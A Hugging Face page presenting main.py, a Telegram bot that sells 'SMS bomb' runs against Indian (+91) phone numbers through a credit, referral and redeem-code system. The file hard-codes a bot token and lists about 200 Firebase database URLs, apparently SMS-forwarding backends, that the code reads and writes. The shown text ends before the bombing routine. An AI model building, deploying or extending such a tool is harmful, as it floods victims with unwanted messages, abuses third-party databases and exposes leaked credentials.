Download main.py from G0zig/Bomb: direct link, hf CLI and curl.
- Browser
- Download file 65.1 kB
-
https://huggingface.co/spaces/G0zig/Bomb/resolve/main/main.py
- Command line
-
hf download hf://spaces/G0zig/Bomb/main.py
-
curl -L -o main.py https://huggingface.co/spaces/G0zig/Bomb/resolve/main/main.py
65.1 kB
| #!/usr/bin/env python3 | |
| # ═══════════════════════════════════════════════════════════════ | |
| # 🔥 𝗔𝗗𝗩𝗔𝗡𝗖𝗘𝗗 𝗦𝗠𝗦 𝗕𝗢𝗠𝗕𝗘𝗥 𝗕𝗢𝗧 — 𝗩𝟯.𝟭 (FINAL — All Bugs Fixed) | |
| # ═══════════════════════════════════════════════════════════════ | |
| import re, os, json, sqlite3, random, string, time, asyncio, requests | |
| from datetime import datetime | |
| from telegram import ( | |
| Update, InlineKeyboardButton, InlineKeyboardMarkup, | |
| KeyboardButton, ReplyKeyboardMarkup | |
| ) | |
| from telegram.ext import ( | |
| Application, CommandHandler, CallbackQueryHandler, | |
| ContextTypes, MessageHandler, filters | |
| ) | |
| from telegram.request import HTTPXRequest | |
| # ── PROXY (optional — uncomment and fill if needed) ───────── | |
| # PROXY_URL = "http://127.0.0.1:1080" # HTTP proxy | |
| # PROXY_URL = "socks5://127.0.0.1:1080" # SOCKS5 proxy | |
| # ── CONFIG ─────────────────────────────────────────────────── | |
| TOKEN = "8764177898:AAE3Lw-7LFNDHO0deawLU3r9YTBnj55T37c" | |
| OWNER_ID = 8794321786 | |
| FORCE_CHANNELS = [ | |
| {"username": "@aurexkeng", "invite": "https://t.me/aurexkeng"}, | |
| {"username": "@bestsmmbot_owmer", "invite": "https://t.me/bestsmmbot_owmer"}, | |
| ] | |
| FIREBASE_URLS = [ | |
| "https://fir-6b48f-default-rtdb.firebaseio.com", | |
| "https://colana-84ce2-default-rtdb.firebaseio.com", | |
| "https://raaz-5287d-default-rtdb.firebaseio.com", | |
| "https://new-sexy-default-rtdb.firebaseio.com", | |
| "https://amirrr-8a463-default-rtdb.firebaseio.com", | |
| "https://faak-9cb47-default-rtdb.firebaseio.com", | |
| "https://chudgy-1cdca-default-rtdb.firebaseio.com", | |
| "https://randidiawdwadrtdb.firebaseio.com", | |
| "https://randidiawdwadrtdb.firebaseio.com", | |
| "https://raj-admin-nokia-default-rtdb.firebaseio.com", | |
| "https://do-admin-v25-default-rtdb.firebaseio.com/clients", | |
| "https://ssgg-5416f-default-rtdb.firebaseio.com", | |
| "https://rahais-default-rtdb.firebaseio.com", | |
| "https://tinmm88-b7db5-default-rtdb.firebaseio.com", | |
| "https://e9turnament1-default-rtdb.firebaseio.com", | |
| "https://hood-4ba1e-default-rtdb.firebaseio.com", | |
| "https://lucifer-spreader-default-rtdb.firebaseio.com", | |
| "https://totla-axis-default-rtdb.firebaseio.com", | |
| "https://rgggggggggg-e2547-default-rtdb.firebaseio.com", | |
| "https://bulbul8084-9a5df-default-rtdb.firebaseio.com", | |
| "https://systumm-c8526-default-rtdb.firebaseio.com", | |
| "https://ravan-98ef1-default-rtdb.firebaseio.com", | |
| "https://yellow-pannel-dadc7-default-rtdb.firebaseio.com", | |
| "https://pmkishan8-6b70f-default-rtdb.firebaseio.com", | |
| "https://no-admin-e0a30-default-rtdb.firebaseio.com", | |
| "https://sexypayload-default-rtdb.firebaseio.com", | |
| "https://love-13ffc-default-rtdb.firebaseio.com", | |
| "https://deepak-c22e3-default-rtdb.firebaseio.com", | |
| "https://takul-cf410-default-rtdb.firebaseio.com", | |
| "https://rto-02-april06-default-rtdb.firebaseio.com", | |
| "https://projectpksk05102025-default-rtdb.firebaseio.com", | |
| "https://rajkumar-b6cbe-default-rtdb.firebaseio.com", | |
| "https://rtoo-6c8e6-default-rtdb.firebaseio.com", | |
| "https://upandar-bb51e-default-rtdb.firebaseio.com", | |
| "https://rolex-carder-default-rtdb.firebaseio.com", | |
| "https://rettiugh-default-rtdb.firebaseio.com", | |
| "https://business-apps-ba1-8d27c-default-rtdb.firebaseio.com", | |
| "https://jeet-op-default-rtdb.firebaseio.com", | |
| "https://vvvvv-b5eae-default-rtdb.firebaseio.com", | |
| "https://jaanubaby-f7b34-default-rtdb.firebaseio.com", | |
| "https://jj-gambler-default-rtdb.firebaseio.com", | |
| "https://suman-penal-default-rtdb.firebaseio.com", | |
| "https://tuuui-60b15-default-rtdb.firebaseio.com", | |
| "https://admin-sonu-8a567-default-rtdb.firebaseio.com", | |
| "https://rohet10-8919f-default-rtdb.firebaseio.com", | |
| "https://zeni-ae60b-default-rtdb.firebaseio.com", | |
| "https://maxxx-randi-default-rtdb.firebaseio.com", | |
| "https://gulabi-fuddi-default-rtdb.firebaseio.com", | |
| "https://comkingdir-default-rtdb.firebaseio.com", | |
| "https://tracegod-168d5-default-rtdb.firebaseio.com", | |
| "https://uc-op-ca3d2-default-rtdb.firebaseio.com", | |
| "https://smsforward-b2198.firebaseio.com", | |
| "https://hdrbf-485ec-default-rtdb.firebaseio.com", | |
| "https://bunty-51bcc-default-rtdb.firebaseio.com", | |
| "https://vishal-x-aravat-default-rtdb.firebaseio.com", | |
| "https://admin-cliwny-default-rtdb.firebaseio.com", | |
| "https://danish-77fe3-default-rtdb.firebaseio.com", | |
| "https://master-admin-6c650-default-rtdb.firebaseio.com", | |
| "https://panel-op-feb4d-default-rtdb.firebaseio.com", | |
| "https://your-project-id-default-rtdb.firebaseio.com", | |
| "https://pm23-98f32-default-rtdb.firebaseio.com", | |
| "https://iiiii-ade0e-default-rtdb.firebaseio.com", | |
| "https://pint-f465b-default-rtdb.firebaseio.com", | |
| "https://admin-panel-bfcdc-default-rtdb.firebaseio.com", | |
| "https://callmebitchfumckyou-default-rtdb.firebaseio.com", | |
| "https://demonrat-aa782-default-rtdb.firebaseio.com", | |
| "https://access20-3fc38-default-rtdb.firebaseio.com", | |
| "https://article-efd36-default-rtdb.firebaseio.com", | |
| "https://rajababukvirat-default-rtdb.firebaseio.com", | |
| "https://axis-suraj-tele-apcd001-default-rtdb.firebaseio.com", | |
| "https://sandycall-18b15-default-rtdb.firebaseio.com", | |
| "https://suihd-default-rtdb.firebaseio.com", | |
| "https://harrwp-6be36-default-rtdb.firebaseio.com", | |
| "https://test-firebase.firebaseio.com", | |
| "https://adutappbylucy-default-rtdb.firebaseio.com", | |
| "https://download-b7393-default-rtdb.firebaseio.com", | |
| "https://bobnewloda-default-rtdb.firebaseio.com", | |
| "https://artikumari-abc97-default-rtdb.firebaseio.com", | |
| "https://seuihd-default-rtdb.firebaseio.com", | |
| "https://gigapaid-39e9c-default-rtdb.firebaseio.com", | |
| "https://angeladmin-9dedc-default-rtdb.firebaseio.com", | |
| "https://fir-new-fe8b8-default-rtdb.firebaseio.com", | |
| "https://priysnshuu-default-rtdb.firebaseio.com", | |
| "https://haab-b3370-default-rtdb.firebaseio.com", | |
| "https://ueuwuw-default-rtdb.firebaseio.com", | |
| "https://test.firebaseio.com", | |
| "https://jkhsadfhjk-default-rtdb.firebaseio.com", | |
| "https://sonic-d5c1a-default-rtdb.firebaseio.com", | |
| "https://jonisins-52271-default-rtdb.firebaseio.com", | |
| "https://dusman-abf8b-default-rtdb.firebaseio.com", | |
| "https://riyy-e012e-default-rtdb.firebaseio.com", | |
| "https://xkpz-f937a-default-rtdb.firebaseio.com", | |
| "https://raaz-5287d-default-rtdb.firebaseio.com", | |
| "https://apkpure-6eb6a-default-rtdb.firebaseio.com", | |
| "https://e14turnament2-default-rtdb.firebaseio.com", | |
| "https://bossuun-default-rtdb.firebaseio.com", | |
| "https://jsjsjdj-7f0d1-default-rtdb.firebaseio.com", | |
| "https://rahul-54fe9-default-rtdb.firebaseio.com", | |
| "https://runjun-master-panel-default-rtdb.firebaseio.com", | |
| "https://gsjjshdbs-default-rtdb.firebaseio.com", | |
| "https://fir-1fa16-default-rtdb.firebaseio.com", | |
| "https://newspreding-default-rtdb.firebaseio.com", | |
| "https://privatesok-59944-default-rtdb.firebaseio.com", | |
| "https://risho-d4c66-default-rtdb.firebaseio.com", | |
| "https://fir-27c9e-default-rtdb.firebaseio.com", | |
| "https://singhaana-6f199-default-rtdb.firebaseio.com", | |
| "https://dogla-de225-default-rtdb.firebaseio.com", | |
| "https://vibe-d238e-default-rtdb.firebaseio.com", | |
| "https://painislv-default-rtdb.firebaseio.com", | |
| "https://jsjdj7374j-default-rtdb.firebaseio.com", | |
| "https://jaduopop-a9a12-default-rtdb.firebaseio.com", | |
| "https://anjali-4a4bc-default-rtdb.firebaseio.com", | |
| "https://devil-king-101d4-default-rtdb.firebaseio.com", | |
| "https://shuruwat-admin-default-rtdb.firebaseio.com", | |
| "https://rajputlodu-5bed0-default-rtdb.firebaseio.com", | |
| "https://kitter-34345-default-rtdb.firebaseio.com", | |
| "https://abcd-6757-ad421-default-rtdb.firebaseio.com", | |
| "https://kali-90e1e-default-rtdb.firebaseio.com", | |
| "https://asif-alam991-default-rtdb.firebaseio.com", | |
| "https://anvith-jaan-default-rtdb.firebaseio.com", | |
| "https://chutkabaal-d7051-default-rtdb.firebaseio.com", | |
| "https://clone-79a6f-default-rtdb.firebaseio.com", | |
| "https://hospital-14-default-rtdb.firebaseio.com", | |
| "https://gooodhua-default-rtdb.firebaseio.com", | |
| "https://yqhwy-2fb47-default-rtdb.firebaseio.com", | |
| "https://khushi-7fb1f-default-rtdb.firebaseio.com", | |
| "https://ppaanaal-default-rtdb.firebaseio.com", | |
| "https://priyanshrandi-18600-default-rtdb.firebaseio.com", | |
| "https://pehle-panel-default-rtdb.firebaseio.com", | |
| "https://yogeshbhai-default-rtdb.firebaseio.com", | |
| "https://singhaana-default-rtdb.firebaseio.com", | |
| "https://myapp-8228a-default-rtdb.firebaseio.com", | |
| "https://app-2-7ac78-default-rtdb.firebaseio.com", | |
| "https://sorry-2d3c5-default-rtdb.firebaseio.com", | |
| "https://fvbtl-3f47c-default-rtdb.firebaseio.com", | |
| "https://anther-a3fe9-default-rtdb.firebaseio.com", | |
| "https://avraj-4d02e-default-rtdb.firebaseio.com", | |
| "https://spy-25-default-rtdb.firebaseio.com", | |
| "https://sirelech1-default-rtdb.firebaseio.com", | |
| "https://rahulcscperosnl-default-rtdb.firebaseio.com", | |
| "https://reliable-stroopwa-default-rtdb.firebaseio.com", | |
| "https://rancho-72506-default-rtdb.firebaseio.com", | |
| "https://pablo-5a0d2-default-rtdb.firebaseio.com", | |
| "https://reen-f8f5f-default-rtdb.firebaseio.com", | |
| "https://pehla-panel-green-default-rtdb.firebaseio.com", | |
| "https://lodaroll-default-rtdb.firebaseio.com", | |
| "https://jamini-c946b-default-rtdb.firebaseio.com", | |
| "https://strange-2e4aa-default-rtdb.firebaseio.com", | |
| "https://vdgsh-623ed-default-rtdb.firebaseio.com", | |
| "https://callmebitchfumckyou-default-rtdb.firebaseio.com", | |
| "https://admin-panel-bfcdc-default-rtdb.firebaseio.com", | |
| "https://pint-f465b-default-rtdb.firebaseio.com", | |
| "https://iiiii-ade0e-default-rtdb.firebaseio.com", | |
| "https://pm23-98f32-default-rtdb.firebaseio.com", | |
| "https://your-project-id-default-rtdb.firebaseio.com", | |
| "https://panel-op-feb4d-default-rtdb.firebaseio.com", | |
| "https://master-admin-6c650-default-rtdb.firebaseio.com", | |
| "https://danish-77fe3-default-rtdb.firebaseio.com", | |
| "https://admin-cliwny-default-rtdb.firebaseio.com", | |
| "https://vishal-x-aravat-default-rtdb.firebaseio.com", | |
| "https://bunty-51bcc-default-rtdb.firebaseio.com", | |
| "https://hdrbf-485ec-default-rtdb.firebaseio.com", | |
| "https://smsforward-b2198.firebaseio.com", | |
| "https://uc-op-ca3d2-default-rtdb.firebaseio.com", | |
| "https://tracegod-168d5-default-rtdb.firebaseio.com", | |
| "https://comkingdir-default-rtdb.firebaseio.com", | |
| "https://gulabi-fuddi-default-rtdb.firebaseio.com", | |
| "https://maxxx-randi-default-rtdb.firebaseio.com", | |
| "https://zeni-ae60b-default-rtdb.firebaseio.com", | |
| "https://rohet10-8919f-default-rtdb.firebaseio.com", | |
| "https://admin-sonu-8a567-default-rtdb.firebaseio.com", | |
| "https://tuuui-60b15-default-rtdb.firebaseio.com", | |
| "https://suman-penal-default-rtdb.firebaseio.com", | |
| "https://jj-gambler-default-rtdb.firebaseio.com", | |
| "https://jaanubaby-f7b34-default-rtdb.firebaseio.com", | |
| "https://vvvvv-b5eae-default-rtdb.firebaseio.com", | |
| "https://jeep-op-default-rtdb.firebaseio.com", | |
| "https://business-apps-ba1-8d27c-default-rtdb.firebaseio.com", | |
| "https://rettiugh-default-rtdb.firebaseio.com", | |
| "https://muajob-29c86-default-rtdb.firebaseio.com", | |
| "https://rahulgandhi-d09ca-default-rtdb.firebaseio.com", | |
| "https://hdjdjdj-a73f2-default-rtdb.firebaseio.com", | |
| "https://niggasionic-default-rtdb.asia-southeast1.firebasedatabase.app", | |
| "https://damo-98ebb-default-rtdb.firebaseio.com", | |
| "https://sep12-aea6d-default-rtdb.firebaseio.com", | |
| "https://hdfc-561e8-default-rtdb.firebaseio.com", | |
| "https://astra-b23a1-default-rtdb.firebaseio.com", | |
| "https://novap7-725ff-default-rtdb.firebaseio.com", | |
| "https://axisjames-default-rtdb.firebaseio.com", | |
| "https://yellow-panel-rto-default-rtdb.firebaseio.com", | |
| "https://bmw1-bdc10-default-rtdb.firebaseio.com", | |
| "https://me03-4e321-default-rtdb.firebaseio.com", | |
| "https://ream-13acd-default-rtdb.firebaseio.com", | |
| "https://makenewfriends-default-rtdb.firebaseio.com", | |
| "https://yt01-75a36-default-rtdb.firebaseio.com", | |
| ] | |
| # ── BOLD FONT ─────────────────────────────────────────────── | |
| def 𝕓(text): | |
| m = { | |
| 'A':'𝐀','B':'𝐁','C':'𝐂','D':'𝐃','E':'𝐄','F':'𝐅','G':'𝐆','H':'𝐇','I':'𝐈', | |
| 'J':'𝐉','K':'𝐊','L':'𝐋','M':'𝐌','N':'𝐍','O':'𝐎','P':'𝐏','Q':'𝐐','R':'𝐑', | |
| 'S':'𝐒','T':'𝐓','U':'𝐔','V':'𝐕','W':'𝐖','X':'𝐗','Y':'𝐘','Z':'𝐙', | |
| 'a':'𝐚','b':'𝐛','c':'𝐜','d':'𝐝','e':'𝐞','f':'𝐟','g':'𝐠','h':'𝐡','i':'𝐢', | |
| 'j':'𝐣','k':'𝐤','l':'𝐥','m':'𝐦','n':'𝐧','o':'𝐨','p':'𝐩','q':'𝐪','r':'𝐫', | |
| 's':'𝐬','t':'𝐭','u':'𝐮','v':'𝐯','w':'𝐰','x':'𝐱','y':'𝐲','z':'𝐳', | |
| '0':'𝟎','1':'𝟏','2':'𝟐','3':'𝟑','4':'𝟒','5':'𝟓','6':'𝟔','7':'𝟕','8':'𝟖','9':'𝟗', | |
| } | |
| return ''.join(m.get(c,c) for c in text) | |
| B = 𝕓 | |
| def sl(): return "━─━────༺◈༻────━─━" | |
| # ── ⭐ ACTIVE BOMB MANAGER (global — user_data.clear() se immune) ── | |
| # uid -> asyncio.Event (event set = STOP) | |
| ACTIVE_BOMBS = {} | |
| def bomb_running(uid): | |
| return uid in ACTIVE_BOMBS | |
| def start_bomb_event(uid): | |
| """Naya bomb event banao (purana hata ke).""" | |
| old = ACTIVE_BOMBS.get(uid) | |
| if old: old.set() # safety: purana bomb band karo | |
| ev = asyncio.Event() | |
| ACTIVE_BOMBS[uid] = ev | |
| return ev | |
| def request_bomb_stop(uid): | |
| """Stop request bhejo. Returns True agar bomb chal raha tha.""" | |
| ev = ACTIVE_BOMBS.get(uid) | |
| if ev: ev.set() | |
| return ev is not None | |
| def finish_bomb(uid): | |
| ACTIVE_BOMBS.pop(uid, None) | |
| # ── DATABASE — WAL MODE + AUTO MIGRATION ──────────────────── | |
| DB_PATH = "bot_data.db" | |
| def db_init(): | |
| conn = sqlite3.connect(DB_PATH, timeout=60) | |
| conn.execute("PRAGMA journal_mode=WAL;") | |
| conn.execute("PRAGMA synchronous=NORMAL;") | |
| conn.execute("PRAGMA busy_timeout=60000;") | |
| c = conn.cursor() | |
| c.execute('''CREATE TABLE IF NOT EXISTS users ( | |
| user_id INTEGER PRIMARY KEY, | |
| credits INTEGER DEFAULT 5, | |
| referrer_id INTEGER, | |
| bomb_count INTEGER DEFAULT 0, | |
| joined_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP | |
| )''') | |
| c.execute('''CREATE TABLE IF NOT EXISTS banned_users ( | |
| user_id INTEGER PRIMARY KEY, | |
| banned_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, | |
| banned_by INTEGER | |
| )''') | |
| c.execute('''CREATE TABLE IF NOT EXISTS user_history ( | |
| id INTEGER PRIMARY KEY AUTOINCREMENT, | |
| user_id INTEGER, | |
| action TEXT, | |
| details TEXT, | |
| created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP | |
| )''') | |
| c.execute('''CREATE TABLE IF NOT EXISTS bot_config ( | |
| key TEXT PRIMARY KEY, | |
| value TEXT | |
| )''') | |
| # Redeem codes table | |
| c.execute('''CREATE TABLE IF NOT EXISTS redeem_codes ( | |
| code TEXT PRIMARY KEY, | |
| amount INTEGER NOT NULL, | |
| created_by INTEGER NOT NULL, | |
| used_by INTEGER DEFAULT NULL, | |
| created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP, | |
| used_at TIMESTAMP DEFAULT NULL | |
| )''') | |
| try: | |
| c.execute("SELECT bomb_count FROM users LIMIT 1") | |
| except sqlite3.OperationalError: | |
| c.execute("ALTER TABLE users ADD COLUMN bomb_count INTEGER DEFAULT 0") | |
| print("✅ Added missing bomb_count column") | |
| conn.commit() | |
| conn.close() | |
| print("✅ Database ready (WAL mode)") | |
| db_init() | |
| def getc(): | |
| conn = sqlite3.connect(DB_PATH, timeout=60) | |
| conn.execute("PRAGMA journal_mode=WAL;") | |
| conn.execute("PRAGMA synchronous=NORMAL;") | |
| conn.execute("PRAGMA busy_timeout=60000;") | |
| return conn | |
| def db_get(key): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT value FROM bot_config WHERE key=?", (key,)) | |
| r = c.fetchone(); conn.close() | |
| return r[0] if r else None | |
| def db_set(k, v): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("INSERT OR REPLACE INTO bot_config (key, value) VALUES (?,?)", (k, v)) | |
| conn.commit(); conn.close() | |
| def get_start_video(): | |
| v = db_get("start_video") | |
| return v if v and v.startswith("BAAC") else None | |
| def set_start_video(f): db_set("start_video", f) | |
| def is_owner(u): return u == OWNER_ID | |
| def get_credits(u): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT credits FROM users WHERE user_id=?", (u,)) | |
| r = c.fetchone(); conn.close() | |
| return r[0] if r else 0 | |
| def add_user(u, ref=None): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT user_id FROM users WHERE user_id=?", (u,)) | |
| if c.fetchone(): conn.close(); return False | |
| c.execute("INSERT INTO users (user_id, credits, referrer_id) VALUES (?, 5, ?)", (u, ref)) | |
| conn.commit(); conn.close() | |
| if ref and ref != u: | |
| conn2 = getc(); c2 = conn2.cursor() | |
| c2.execute("SELECT credits FROM users WHERE user_id=?", (ref,)) | |
| if c2.fetchone(): | |
| c2.execute("UPDATE users SET credits=credits+1 WHERE user_id=?", (ref,)) | |
| conn2.commit() | |
| conn2.close() | |
| return True | |
| def deduct_credit(u): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("UPDATE users SET credits=credits-1 WHERE user_id=? AND credits>0", (u,)) | |
| ok = c.rowcount > 0 | |
| if ok: | |
| c.execute("UPDATE users SET bomb_count=COALESCE(bomb_count,0)+1 WHERE user_id=?", (u,)) | |
| conn.commit(); conn.close() | |
| return ok | |
| def add_credits(u, a): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("UPDATE users SET credits=credits+? WHERE user_id=?", (a, u)) | |
| conn.commit(); conn.close() | |
| def remove_credits(u, a): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("UPDATE users SET credits=credits-? WHERE user_id=? AND credits>=?", (a, u, a)) | |
| ok = c.rowcount > 0; conn.commit(); conn.close() | |
| return ok | |
| def is_banned(u): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT user_id FROM banned_users WHERE user_id=?", (u,)) | |
| r = c.fetchone(); conn.close() | |
| return r is not None | |
| def ban_user(u, b): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("INSERT OR IGNORE INTO banned_users (user_id, banned_by) VALUES (?,?)", (u, b)) | |
| conn.commit(); conn.close() | |
| def unban_user(u): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("DELETE FROM banned_users WHERE user_id=?", (u,)) | |
| ok = c.rowcount > 0; conn.commit(); conn.close() | |
| return ok | |
| def loga(u, a, d=""): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("INSERT INTO user_history (user_id, action, details) VALUES (?,?,?)", (u, a, d)) | |
| conn.commit(); conn.close() | |
| def get_lb(limit=10): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT user_id, credits, COALESCE(bomb_count,0) FROM users ORDER BY credits DESC LIMIT ?", (limit,)) | |
| r = c.fetchall(); conn.close(); return r | |
| def get_stats(): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT COUNT(*), COALESCE(SUM(credits),0), COALESCE(SUM(bomb_count),0) FROM users") | |
| t, tc, tb = c.fetchone(); conn.close() | |
| return (t or 0), (tc or 0), (tb or 0) | |
| def get_all_users(): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT user_id, credits, COALESCE(bomb_count,0), joined_at FROM users ORDER BY joined_at DESC") | |
| r = c.fetchall(); conn.close(); return r | |
| def get_ui(u): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT * FROM users WHERE user_id=?", (u,)) | |
| r = c.fetchone(); conn.close(); return r | |
| # ── REDEEM CODE FUNCTIONS ────────────────────────────────── | |
| def create_redeem(amount, created_by): | |
| while True: | |
| code = "titan-" + ''.join(random.choices(string.ascii_uppercase + string.digits, k=6)) | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT 1 FROM redeem_codes WHERE code=?", (code,)) | |
| if not c.fetchone(): | |
| c.execute("INSERT INTO redeem_codes (code, amount, created_by) VALUES (?,?,?)", | |
| (code, amount, created_by)) | |
| conn.commit(); conn.close() | |
| return code | |
| conn.close() | |
| def get_redeem(code): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT * FROM redeem_codes WHERE lower(code)=lower(?)", (code,)) | |
| r = c.fetchone(); conn.close() | |
| return r | |
| def use_redeem(code, used_by): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("UPDATE redeem_codes SET used_by=?, used_at=CURRENT_TIMESTAMP WHERE lower(code)=lower(?) AND used_by IS NULL", | |
| (used_by, code)) | |
| ok = c.rowcount > 0; conn.commit(); conn.close() | |
| return ok | |
| def get_redeems(limit=15): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT code, amount, created_by, used_by, created_at, used_at FROM redeem_codes ORDER BY created_at DESC LIMIT ?", (limit,)) | |
| r = c.fetchall(); conn.close(); return r | |
| def get_redeem_stats(): | |
| conn = getc(); c = conn.cursor() | |
| c.execute("SELECT COUNT(*) FROM redeem_codes") | |
| total = c.fetchone()[0] or 0 | |
| c.execute("SELECT COUNT(*) FROM redeem_codes WHERE used_by IS NOT NULL") | |
| used = c.fetchone()[0] or 0 | |
| conn.close() | |
| return total, used | |
| # ── FIREBASE ──────────────────────────────────────────────── | |
| def fb_get(url, path): | |
| try: | |
| r = requests.get(f"{url.rstrip('/')}/{path}.json", timeout=8) | |
| if r.status_code == 200: return r.json() | |
| except: return None | |
| def fb_put(url, path, data): | |
| try: | |
| r = requests.put(f"{url.rstrip('/')}/{path}.json", json=data, timeout=8) | |
| return r.status_code in (200, 201) | |
| except: return False | |
| def validate_phone(num): | |
| n = num.strip() | |
| if not n.startswith('+91'): return False, "❌ Must start with +91" | |
| r = n[3:] | |
| if not r.isdigit(): return False, "❌ Only digits after +91" | |
| if len(r) != 10: return False, f"❌ Need 10 digits after +91 (got {len(r)})" | |
| return True, "✅ Valid" | |
| # ── FORCE JOIN ────────────────────────────────────────────── | |
| async def check_fj(update, ctx): | |
| try: | |
| uid = update.effective_user.id | |
| for ch in FORCE_CHANNELS: | |
| m = await ctx.application.bot.get_chat_member(ch["username"], uid) | |
| if m.status in ("left", "kicked"): return False | |
| return True | |
| except: return False | |
| async def fj_prompt(update, ctx): | |
| btns = [[InlineKeyboardButton(f"🔵 {ch['username']}", url=ch["invite"], | |
| **({"api_kwargs": {"style": "primary"}}))] for ch in FORCE_CHANNELS] | |
| btns.append([InlineKeyboardButton(f"✅ {B('Joined')}", callback_data="fj_check", | |
| **({"api_kwargs": {"style": "success"}}))]) | |
| ch_list = "\n".join(f" 🔹 {ch['username']}" for ch in FORCE_CHANNELS) | |
| try: | |
| await update.message.reply_text( | |
| f"╔═══◈═══╗\n║ {B('FORCE JOIN')} ║\n╚═══◈═══╝\n\n" | |
| f"⚠️ {B('Join channels first!')}\n\n{ch_list}", | |
| parse_mode="HTML", reply_markup=InlineKeyboardMarkup(btns)) | |
| except: pass | |
| # ── COLOR HELPERS ────────────────────────────────────────── | |
| def cbtn(t, cb, s="primary"): | |
| return InlineKeyboardButton(t, callback_data=cb, **({"api_kwargs": {"style": s}})) | |
| def km(t, s="primary"): | |
| return KeyboardButton(t, **({"api_kwargs": {"style": s}})) | |
| def im(rows): | |
| return InlineKeyboardMarkup([[cbtn(t,c,s) for t,c,s in row] for row in rows]) | |
| def rm(rows): | |
| return ReplyKeyboardMarkup([[km(t,s) for t,s in row] for row in rows], resize_keyboard=True) | |
| # ── /start ────────────────────────────────────────────────── | |
| async def start(update: Update, ctx: ContextTypes.DEFAULT_TYPE): | |
| try: | |
| uid = update.effective_user.id | |
| except: return | |
| if is_banned(uid): | |
| try: await update.message.reply_text(f"❌ {B('Banned.')}") | |
| except: pass | |
| return | |
| ref = None | |
| if ctx.args and ctx.args[0].startswith("ref_"): | |
| try: ref = int(ctx.args[0].split("_")[1]) | |
| except: pass | |
| try: | |
| new = add_user(uid, ref) | |
| if new: | |
| if ref and ref != uid: | |
| try: | |
| un = update.effective_user.username or update.effective_user.first_name | |
| await ctx.application.bot.send_message(ref, | |
| f"━━━━━━━━━\n🎉 {B('REFERRAL!')}\n━━━━━━━━━\n👤 @{un} (<code>{uid}</code>)\n💰 +1 credit", | |
| parse_mode="HTML") | |
| except: pass | |
| try: | |
| un = update.effective_user.username or update.effective_user.first_name | |
| rt = f"Referrer: <code>{ref}</code>" if ref else "Direct" | |
| await ctx.application.bot.send_message(OWNER_ID, | |
| f"━━━━━━━━━\n🆕 {B('NEW USER')}\n━━━━━━━━━\n👤 @{un}\n🆔 <code>{uid}</code>\n📌 {rt}", | |
| parse_mode="HTML") | |
| except: pass | |
| if not await check_fj(update, ctx): | |
| await fj_prompt(update, ctx) | |
| return | |
| creds = get_credits(uid) | |
| vid = get_start_video() | |
| mk = rm([ | |
| [("💣 𝘽𝙊𝙈𝘽 𝙎𝙈𝙎", "danger"), ("💰 𝘾𝙍𝙀𝘿𝙄𝙏𝙎", "success")], | |
| [("🔗 𝙍𝙀𝙁𝙀𝙍𝙍𝘼𝙇", "primary"), ("🎟️ 𝙍𝙀𝘿𝙀𝙀𝙈", "success")], | |
| [("🏆 𝙇𝙀𝘼𝘿𝙀𝙍𝘽𝙊𝘼𝙍𝘿", "primary"), ("📜 𝙃𝙄𝙎𝙏𝙊𝙍𝙔", "primary")], | |
| [("📊 𝙎𝙏𝘼𝙏𝙎", "success")], | |
| ]) | |
| if is_owner(uid): | |
| mk = rm([ | |
| [("💣 𝘽𝙊𝙈𝘽 𝙎𝙈𝙎", "danger"), ("💰 𝘾𝙍𝙀𝘿𝙄𝙏𝙎", "success")], | |
| [("🔗 𝙍𝙀𝙁𝙀𝙍𝙍𝘼𝙇", "primary"), ("🎟️ 𝙍𝙀𝘿𝙀𝙀𝙈", "success")], | |
| [("🏆 𝙇𝙀𝘼𝘿𝙀𝙍𝘽𝙊𝘼𝙍𝘿", "primary"), ("📜 𝙃𝙄𝙎𝙏𝙊𝙍𝙔", "primary")], | |
| [("📊 𝙎𝙏𝘼𝙏𝙎", "success"), ("⚙️ 𝘼𝘿𝙈𝙄𝙉 𝙋𝘼𝙉𝙀𝙇", "danger")], | |
| ]) | |
| msg = (f"╔═══◈═══╗\n║ {B('SMS BOMBER')} ║\n╚═══◈═══╝\n\n{sl()}\n" | |
| f"🔥 {B('Status')}: 🟢 {B('ONLINE')}\n💰 {B('Credits')}: <code>{creds}</code>\n" | |
| f"📌 {B('1 Credit = 1 Bomb')}\n{sl()}\n\n" | |
| f"📱 {B('How To Use')}:\n 💣 Tap Bomb SMS\n 📞 Enter +91 number\n ✏️ Choose OTP or Custom\n 🚀 Auto-bomb!\n\n" | |
| f"💡 Earn via 🔗 𝙍𝙀𝙁𝙀𝙍𝙍𝘼𝙇 or 🎟️ 𝙍𝙀𝘿𝙀𝙀𝙈") | |
| if vid: | |
| try: | |
| await update.message.reply_video(video=vid, caption=msg, parse_mode="HTML", reply_markup=mk) | |
| return | |
| except: pass | |
| await update.message.reply_text(msg, parse_mode="HTML", reply_markup=mk) | |
| except Exception as e: | |
| print(f"[start] Error: {e}") | |
| # ── /set ──────────────────────────────────────────────────── | |
| async def set_video(update: Update, ctx: ContextTypes.DEFAULT_TYPE): | |
| try: | |
| if not is_owner(update.effective_user.id): | |
| await update.message.reply_text("⛔ Owner only!"); return | |
| if not update.message.reply_to_message: | |
| await update.message.reply_text("❌ Reply to video with /set"); return | |
| v = update.message.reply_to_message.video | |
| if not v: | |
| await update.message.reply_text("❌ That's not a video!"); return | |
| set_start_video(v.file_id) | |
